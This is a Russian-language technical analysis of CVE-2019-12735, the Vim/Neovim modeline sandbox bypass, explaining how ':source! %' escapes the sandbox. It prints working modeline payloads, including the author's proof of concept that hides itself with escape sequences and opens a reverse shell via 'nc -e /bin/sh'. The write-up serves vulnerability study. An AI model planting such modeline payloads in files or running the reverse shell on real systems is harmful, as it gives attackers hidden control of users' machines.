
Подробный технический анализ и доказательство концепции для CVE-2019-12735, уязвимости выполнения произвольного кода в Vim/Neovim через обход песочницы modeline, включая эксплуатацию reverse shell.
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
Vim версий до 8.1.1365 и Neovim версий до 0.3.6 имеют уязвимость, позволяющую легко выполнить произвольный код через modeline при открытии текстового файла, содержащего специальное содержимое.
Modeline — это включенная по умолчанию функция, которая применяется ко всем типам файлов, включая .txt, для автоматического поиска и применения/выполнения набора опций, указанных создателем файла в начале и конце файла. Ниже приведен типичный пример команды modeline:
/* vim: set textwidth=80 tabstop=8: */
Для повышения безопасности в modelines разрешен только подмножество опций, и если значение опции содержит выражение, оно выполняется в песочнице (sandbox):
No other commands than "set" are supported, for security reasons (somebody
might create a Trojan horse text file with modelines). And not all options
can be set. For some options a flag is set, so that when it's used the
|sandbox| is effective.
Песочница предотвращает побочные эффекты:
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox. This means that you are
protected from these expressions having nasty side effects. This gives some
safety for when these options are set from a modeline.
Однако команда :source! (с [!] после) может быть использована для обхода песочницы. Она заставляет vim прочитать и выполнить команды из указанного файла так, как если бы они были введены вручную в vim, запуская их после выхода из песочницы. Именно это создаёт уязвимость, позволяющую выполнить произвольный код через vim.
:so[urce]! {file} Read Vim commands from {file}. These are commands
that are executed from Normal mode, like you type
them.
Исходя из этой уязвимости, можно построить modeline для выполнения кода вне песочницы:
# vim: set foldexpr=execute('\:source! some_file'):
Также можно использовать assert_fails() вместо execute():
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
Run {cmd} and add an error message to |v:errors| if it does
NOT produce an error.
Добавив после source! символ %, можно выполнить текущий файл; пример ниже по очереди выполнит uname -a || "(garbage)" как команду оболочки:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Кроме того, функция nvim_input() предназначена только для эксплуатации уязвимости в Neovim и используется, как в следующем примере:
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
Автор предоставил PoC для создания обратной оболочки, используя символ Esc для скрытия содержимого при открытии файла читателем путём записи нового содержимого в него.
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
Выше приведён PoC автора, однако для упрощения понимания мы немного сократим его:
\x1bSNothing here.\x1b:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:
При открытии vim функция modeline проверяет начало и конец файла на наличие команды modeline (здесь 'vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ |\ source!\ %') fdl=0:'). Найдя её, она выполняет эту команду. Согласно описанному выше принципу работы modeline, команда source! % выполняет текущий файл так, как если бы мы вводили его содержимое вручную в vim.
Сначала выполняется строка "\x1bSNothing here.\x1b:silent! w ". Если вы использовали vim, то наверняка знаете режим выполнения command в vim. Чтобы войти в этот режим, достаточно нажать клавишу Esc, значение которой равно 0x1b. Поэтому в начале PoC стоит 0x1b для перехода в командный режим vim.
После входа в командный режим, если нажать клавишу S, содержимое текущей строки сразу удаляется, и вы возвращаетесь в режим вставки. Поэтому следующим символом идёт S, чтобы удалить содержимое файла PoC и создать новое содержимое.
Затем в файл вставляется текст "Nothing here.", после чего следует символ Esc для возврата в командный режим и строка :silent! w для записи нового текста ("Nothing here.") в файл без вывода каких-либо сообщений на экран.
После записи файла выполняется команда call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') и последующие команды для создания обратной оболочки. Последняя команда — silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n. Поскольку после silent! стоит символ #, vim воспринимает это как комментарий и не выполняет его.
Таким образом, когда пользователь открывает PoC в vim/neovim, атакующий получает оболочку пользователя, причём пользователь даже не подозревает об этом, так как на его экране отображается только строка "Nothing here.", только что записанная функцией modeline.
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md